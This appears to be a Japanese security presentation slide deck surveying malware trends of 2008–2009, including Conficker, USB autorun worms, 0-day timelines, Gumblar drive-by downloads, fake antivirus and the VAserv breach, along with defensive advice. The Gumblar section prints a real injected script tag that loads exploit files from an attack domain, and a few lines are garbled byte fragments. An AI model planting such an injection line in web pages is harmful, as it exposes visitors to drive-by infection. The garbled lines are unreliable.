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流行りもの 2008～



流行りもの: 2008～
SQL インジェクションを使った攻撃

Conficker / Downad
USB ウイルス

アプリケーションソフトウェアへの攻撃



SQL インジェクション

攻撃数は 2008 年末にピークを迎えた後減少の模様

出典 http://www.lac.co.jp/info/alert/alert20091104.html



なくなったわけじゃない
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Conficker / Downad
2008 年末～2009 年前半に流行

攻撃界面
「MS08-067 - 緊急: Server サービスの脆弱性により、リモート
でコードが実行される (958644)」 欠陥を攻略

patch: 2008.10.24
Conficker / Downad: 2009.11.21 ごろ

自動再生機能（autorun.inf ）を用いた感染

管理共有（admin$）を使った感染

現在ログオンしているユーザの資格情報を利用

パスワードクラックも実施



USB ウイルス

Windows の自動再生機能（autorun.inf）を利用

可搬型媒体（USB メモリ、USB HDD など）を介して感染

NoDriveTypeAutoRun レジストリーキーを設定すれば無
効化できる……はずができていなかった

この欠陥の更新プログラムは存在したが、Windows 2000 / 
XP / Server 2003 用更新プログラム（953252）は自動更新では

配布されなかった

2009.02.25 にようやく、更新プログラム967715 として自動更新

でも配布

Microsoft サポート技術情報 http://support.microsoft.com/kb/番号



USB ウイルス

autorun.inf そのものを無効化する方法もある
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次のコマンドで実行できる（from Semplice）

reg delete "HKCU¥Software¥Microsoft¥Windows¥
CurrentVersion¥Explorer¥MountPoints2" /f
reg add “HKLM¥SOFTWARE¥Microsoft¥Windows NT¥
CurrentVersion¥IniFileMapping¥Autorun.inf" /f /ve /t reg_sz /d 
@SYS:DoesNotExist



USB ウイルス

Windows 7 において、ようやく自動再生の挙動が変更さ

れた

非光学のリムーバブルメディアに対しては自動実行機能をサ
ポートしない

Windows XP ～Server 2008 を Windows 7 と同じ挙動に
したい場合は、更新プログラム 971029 を適用する

自動更新では適用されないので注意



アプリケーションソフトウェアへの攻撃

Internet Explorer
Microsoft Office
Windows Media Player
Flash Player
Adobe Reader / Acrobat
QuickTime
Firefox
....

0-day 攻撃も多発

Microsoft Update では更新

されない



0-day 事例

2008.11.16: Internet Explorer
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patch 提供：2008.12.18
2008.12.10: ワードパッド、Office テキストコンバータ
������������
�����+�������������������������
�)����
���)�	&"	"&�����

patch 提供: 2009.04.15（MS09-010）

2009.02.19: Adobe Reader / Acrobat
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patch 提供：2009.03.10（9.x）、2009.03.18（8.x 以前）

2009.02.25: Excel
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patch 提供: 2009.04.15（MS09-009）



0-day 事例

2009.03.11: 一太郎
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patch 提供: 2009.03.16

2009.03.25: Firefox
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patch 提供: 2009.03.27

2009.04.03: PowerPoint
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patch 提供: 2009.05.13（MS09-017）



0-day 事例

2009.05.29: DirectShow
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DirectShow の欠陥、QuickTime ファイルの処理で発現

patch 提供: 2009.07.15（MS09-028）

2009.07.07: Microsoft Video ActiveX コントロール
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ActiveX コントロールの欠陥なので、IE 上で発現

patch 提供: 2009.07.15（MS09-032；kill bit を設定するだけ）



0-day 事例

2009.07.13: Microsoft Office Web コンポーネント
（ ActiveX コントロール）
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patch 提供: 2009.08.12（MS09-043）

2009.07.21: Adobe Reader / Acrobat、Flash Player
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同じ欠陥が Adobe Reader / Acrobat と Flash Player の両方に

影響

patch 提供: 2009.07.31（ Adobe Reader / Acrobat ）、
2009.08.03（Flash Player）
実は 0-day ではなかった（8 か月も前に通知を受けていた）



0-day 事例

2009.08.31: IIS FTP サービス
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patch 提供: 2009.10.14（MS09-053）

2009.09.07: SMB2（Windows Vista / Server 2008 / 7 RC）
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Conficker / Downad のようになるのではと心配する向きも

あったが、幸いにもそうはならなかった

patch 提供: 2009.10.14（MS09-050）

2009.10.09: Adobe Reader / Acrobat
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patch 提供: 2009.10.14



Drive-by Download（自動ダウンロード攻撃）

誘導 Web ページを用意する

既存の（他人の）サイトを改ざん
Web アプリの脆弱性（SQL インジェクションなど）を攻略するなど

攻略 Web ページを読み込ませるよう設定

<iframe src=...>、<script src=...> など

多段にする、難読化処理をするなど

最終的には、アプリケーションなどの脆弱性を狙う攻略ファイ
ルをダウンロードさせる

0-day 攻撃ならなお効果的



流行りもの 2009



流行りもの：2009
Gumblar
にせアンチウイルス（FAKEAV）

仮想化関連



Gumblar（GENOウイルス、JSRedir-R）

2009.03～06 に流行、ただしそれ以前にも存在？

Gumblar は攻略ファイルが設置されていたサイトのドメイ

ン名
78.110.175.249（2009.03）

94.247.2.195 (hs.2-195.zlkon.lv)（2009.03）

gumblar.cn （2009.05）

martuz.cn （2009.05）

2009.04.04 に PC 通販サイト「GENO」が攻略された際に
知名度が上がったため、 「GENO ウイルス」と通称され

た。
GENO に埋め込まれたのは zlkon



Gumblar（GENOウイルス、JSRedir-R）

改ざんされた正規サイト
（誘導サイト）

攻略ファイル配布サイト
（攻撃サイト）

Drive-by download

攻略ファイル

<script src=//gumblar.cn/rss/?id=2>
</script>



Gumblar（GENOウイルス、JSRedir-R）

gumblar.cn/rss/?id=XXXXXXX

jscript.dll のバージョン番号に基づく数字

Internet Explorer か否かの判定？

gumblar.cn/rss/?id=2

PDF ファイル（Adobe Reader / Acrobat 攻略用）

gumblar.cn/rss/?id=3

swf ファイル（Flash Player 攻略用）

gumblar.cn/rss/?id=10

exe ファイル（マルウェア）



Gumblar（GENOウイルス、JSRedir-R）

FTP 接続の盗聴

パスワードスティーラーが接続先、ユーザ名、パスワードを盗
み出して管理サイトに送信

この情報に基づいて、さらなる Web ページ改ざんを行う

暗号化する前の情報をキャプチャするため、SFTP などによる

暗号化通信を行っても突破され得る

収集した FTP アカウント情報を使って侵入し、Web コン

テンツを書きかえる

それ用の自動接続・書き換えプログラムが存在する模様

個人の web サイトが相次いで改ざんされたのはこのため



Gumblar（GENOウイルス、JSRedir-R）

誘導サイト 攻撃サイト

攻略ファイル

<script src=//gumblar.cn/rss/?id=2>
</script>

ユーザが管理して
いる Web サイト

FTP でアップロード

アカウント
情報を通知

サイトを
改ざん

管理サイト



Gumblar（GENOウイルス、JSRedir-R）

実際に挿入されるスクリプトの例（martuz）
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Gumblar（GENOウイルス、JSRedir-R）

解釈
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Gumblar（GENOウイルス、JSRedir-R）

spam の送信

にせアンチウイルス（System Security 2009）のインストール

実はランサムウェア（身代金要求ソフトウェア）

アプリケーションを開こうとすると、「ファイルが感染しているのでアプ
リケーションを実行できない。System Securityをアクティベートせよ」と

警告し、ユーザーを販売サイトに誘導してクレジットカード番号など
の入力を迫る。
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Google 検索結果を改ざん

マルウェアサイトへ誘導

アンチウイルスソフトの停止

アプリケーションを開こうとすると、「ファイルが感染しているのでアプ
リケーションを実行できない。System Securityをアクティベートせよ」
と警告し、ユーザーを販売サイトに誘導してクレジットカード番号など
の入力を迫る。



Gumblar（GENOウイルス、JSRedir-R）

2009.10 から活動を再開（Gumblar.x）

難読化が高度に

攻撃サイトが複数に

Adobe Reader / Flash Player の他、Internet Explorer（MS09-
002）や Microsoft Office Web コンポーネント（MS09-043）を攻

撃

挿入スクリプトを随時改訂、再感染

調査妨害機能の強化
regedit が起動されるとレジストリ改ざんを元に戻す、など



The Gumblar system: 全自動にて運行中

誘導サイト（Redirector）
40,000 以上

誘導サイト（Redirector）
40,000 以上

攻撃サイト（Infector）
700 以上

攻撃サイト（Infector）
700 以上

管理サイト
（Dispatcher）

10未満

管理サイト
（Dispatcher）

10未満

配布サイト
（Injector）

50程度

配布サイト
（Injector）

50程度

一般ユーザ

http://www.viruslist.com/en/weblog?weblogid=208187897を元に作成



にせアンチウイルス

たとえばこういうやつ



Windows Enterprise Suite



Windows Enterprise Suite
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Windows Enterprise Suite
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いつでもどこでも

Web 検索結果

SEO ポイズニング

検索結果をマルウェアが改ざん

一般の Web サイト

Web 広告

改ざんされた Web サイト

マルウェア配布用 Web ページ

SNS、Twitter
Koobface ボットネット

電子メール（記載された URL にアクセスして、添付され

たダウンローダを介して）



例: BREDOLAB
ダウンローダ BREDOLAB が設置するもの

にせアンチウイルス「Antivirus Pro 2010」

ボットネット「Zeus」



参考になるページ
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仮想化関連

英ISPのVAserv、zero-day攻撃を受ける。脆弱性を突か

れたソフトウェアの会社社長は自殺
������������������������
�)����
������ �
�!"	�"&��#�"�
	#
�



VAserv の件（2009.06）
VAserv は仮想化ホスティングサービスの管理ソフトとし
て HyperVM を使用

HyperVM を組み込んだ仮想ホスティングプラットホーム
Kloxo（旧称 Lxadmin）に複数の脆弱性が発見される。発
見者は 2009.05.21 に開発元 lxlabs に通知したというが、

めぼしい反応が得られなかった模様。

発見者が脆弱性情報を公開（2009.06.04）
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VAserv の件（2009.06）
lxlabs は「修正版ソフトウェア」を提供（2009.06.05）。矢継

ぎ早にバージョンが上がっていったが、攻撃時点で最新
の 2.0.7992 でも治りきっていなかった模様。

攻撃が発生、VAserv では 10 万もの Web サイトのデー

タが消される
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LxLabs社の社長 K T Ligesh 氏が自殺（2009.06.08）

HyperVM / Kloxo はオープンソース化（2009.11.03）
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つまり、どういうことですか？

仮想化管理ソフトウェアが単一障害点と化して大損害

仮想化管理ソフトウェアで 0-day が発生するとこうなる、

という見本



課題



課題：アンチウイルスソフトウェア

シグネチャマッチング

旧来の手法は完全に破綻

クラウドの利用による即時対応？

ヒューリスティック

たまにうまく動く程度？

レピュテーション
URL、ファイル

一定の効果がある模様

群衆を利用する

ホワイトリスト

失敗する可能性があれば、失敗する



ホワイトリストや群衆の利用

事例：Norton Internet Security 2010



NSSLabs 2009 Q3 Endpoint Protection 
Test Report 

Socially Engineered Malware Protection に焦点を絞った、

現実的なテスト
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いわゆる「Web からの攻撃」が対象

2009.07～08 の17日間、24x7 でテスト

対象：各社のコンシューマ向け 2009 シリーズ

エンタープライズ向け製品も別途テストされているが、有料配
布なので読めてません orz



NSSLabs 2009 Q3 Endpoint Protection 
Test Report 

結果概要より引用



ちなみに: AV-Comparatives.org



ちなみに: AV-Comparatives.org
On-demand Comparative は、つまりは「 AV-Comparatives.org
と同じ検体をどれだけ用意できたか否か」を確認しているだ
けのように思う
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ちなみに: AV-Comparatives.org
Retrospective/Proactive Test（ヒューリスティックによる「事前

対応力」を計測するテスト）は興味深い
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課題：ソフトウェアの更新

アンチウイルスソフトウェアよりも重要

OS については統合的な更新が実現

Microsoft Update（Microsoft 製品）

ソフトウェアアップデート（Mac）
up2date, yum, apt など（Linux）

3rd party アプリケーションソフトウェアについては各ベン

ダーが独自に実装

共通のフレームワークを用意できないのか？

Microsoft Update はサードパーティーにも開放する予定だっ

たはずなのだが？
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アプリケーション更新状況の確認

Secunia PSI のような機能が「総合セキュリティソフト」の多

くに搭載されていないのはなぜだろう？
例外： Kaspersky Internet Security

本来的には OS が備えるべきなのだろうけれど



事例：Secunia PSI



事例：Kaspersky Intenet Security 2010



事例: Firefox（Plugin Check）
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古い脆弱性があるのに、直してもらえない

DNS キャッシュ汚染（bind など）

Zen Cart 
EC-Cube
OpenSSL
namazu
……



課題: 0-day に備える

セキュリティとは薄皮を重ねるようなもの

ただし手間は増える

権限の縮小
UAC
制限ユーザー

ファイアウォール、IPS

機能の縮小
JavaScript の無効化（Web ブラウザ、Adobe Reader）
自動参照（autorun.inf）の無効化



課題: 0-day に備える

多様性の拡大

Web ブラウザ

PDF viewer
Office ソフト

アンチウイルス

OS
DNS サーバ

ルータ

Flash Player の代わりがない……

「1種類のウイルスで例外なく全滅する可能性」か

ら逃れるための方策



質問？


